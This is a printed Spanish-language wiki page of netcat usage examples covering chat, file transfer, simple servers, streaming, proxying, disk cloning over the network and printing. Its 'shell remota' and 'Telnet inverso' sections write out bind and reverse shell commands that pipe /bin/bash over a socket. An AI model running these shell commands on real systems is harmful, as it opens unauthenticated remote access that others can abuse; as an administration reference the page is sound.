2025/11/03 10:41 1/5 Netcat

# netcat

Ejemplos de uso



En las nuevas versiones de nc ya no hace falta el -p para indicar el puerto

# **Un chat**

Servidor

nc -l 2000

Cliente

nc localhost 2000

# Transferencia de ficheros

== Receptor del fichero ==

nc -l 2000 > nombrefichero

#### **Emisor**

nc localhost 2000 < ficheroaenviar

Si queremos enviar el fichero comprimido desde el emisor hacemos

cat entrada.txt | gzip | nc remote.host 2000 -q 0

# Servidor de echo

Ponemos un servidor que ejecuta cat de modo que devolverá todo lo que se le envíe

nc -l 2000 -e /bin/cat

Y en el equipo cliente

nc localhost 2000

# Servidor de daytime

Exactamente lo mismo que el ejemplo anterior pero ejecutando date en lugar de cat.

```
nc -l 2000 -e /bin/date
```

Y al conectarnos desde otra consola

```
nc localhost 2000
```

# shell remota

Servidor

```
nc -l -p 2000 -e /bin/bash
```

Cliente

```
nc localhost 2000
```

## **Telnet inverso**

En esta ocasión es el cliente quien pone el terminal remoto

Servidor

```
nc -l -p 2000
```

Cliente

```
nc server.example.org 2000 -e /bin/bash
```

### HTTP

Es sencillo conseguir un cliente y un servidor HTTP rudimentarios.

# Servidor

```
nc -l -p http -c "cat index.html"
```

Al cual podemos conectar con cualquier navegador HTTP, como por ejemplo firefox.

https://intrusos.info/ Printed on 2025/11/03 10:41

2025/11/03 10:41 3/5 Netcat

#### Cliente

echo "GET /" | nc www.google.com 80 > index.html

# Streaming de audio

Un sencillo ejemplo para hacer streaming de un fichero .mp3:

#### Servidor

```
nc - l - p 2000 < fichero.mp3
```

y para servir todos los .mp3 de un directorio:

#### Cliente

nc server.example.org 2000 | madplay -

# Streaming de video

## Servidor

nc -l -p 2000 < pelicula.avi

#### Cliente

nc server.example.org 2000 | mplayer -

# **Proxy**

Sirva para redirigir una conexión a otro puerto u otra máquina:

```
nc -l -p 2000 -c "nc example.org 22"
```

El tráfico recibido en el puerto 2000 de esta máquina se redirige a la máquina example.org:22. Permite incluso que la conexión entrante sea UDP pero la redirección sea TCP o viceversa!

# Clonar un disco a través de la red



Esto se debe usar con muchísima precaución. Se puede meter la pata y sobreescribir el disco duro origen

Es este ejemplo voy a copiar un pen drive USB que está conectado al servidor a un fichero en el cliente y después lo voy a montar para acceder al contenido.

#### Servidor

```
dd if=/dev/sda1 | nc -l -p 2000
```

#### Cliente

```
nc server.example.org 2000 | dd of=pendrive.dump
mount pendrive.dump -r -t vfat -o loop /mnt/usb
```

# Ratón remoto

Es decir, usar el ratón conectado a una máquina para usar el entorno gráfico de otra. El ejemplo está pensado para Xorg.

#### Servidor

```
nc -l -p 2000 < /dev/input/mice
```

#### Cliente

Editar el fichero /etc/X11/xorg.conf y modificar la configuración del ratón para que queda así:

```
Section "InputDevice"
Driver "mouse"
...
Option "Device" "/tmp/fakemouse"
....
EndSection
```

mkfifo /tmp/fakemouse

https://intrusos.info/ Printed on 2025/11/03 10:41

2025/11/03 10:41 5/5 Netcat

nc server.example.org 2000 > /tmp/fakemouse

/etc/init.d/gdm restart

### Medir el ancho de banda

#### Servidor

 $nc -l -p 2000 \mid pv > /dev/null$ 

#### Cliente

nc server.example.org 2000 < /dev/zero

# Imprimir un documento en formato PostScript

Funciona en impresoras que soporten el estándar AppSocket/JetDirect, que son la mayoría de las que se conectan por Ethernet.

cat fichero.ps | nc -q 1 nombre.o.ip.de.la.impresora 9100

# Referencias

- http://crysol.org/es/netcat
- http://www.sans.org/security-resources/sec560/netcat\_cheat\_sheet\_v1.pdf
- http://www.guia-ubuntu.com/index.php?title=Netcat

From:

https://intrusos.info/ - LCWIKI

Permanent link:

https://intrusos.info/doku.php?id=seguridad:herramientas:netcat&rev=1357064597

Last update: 2023/01/18 14:20

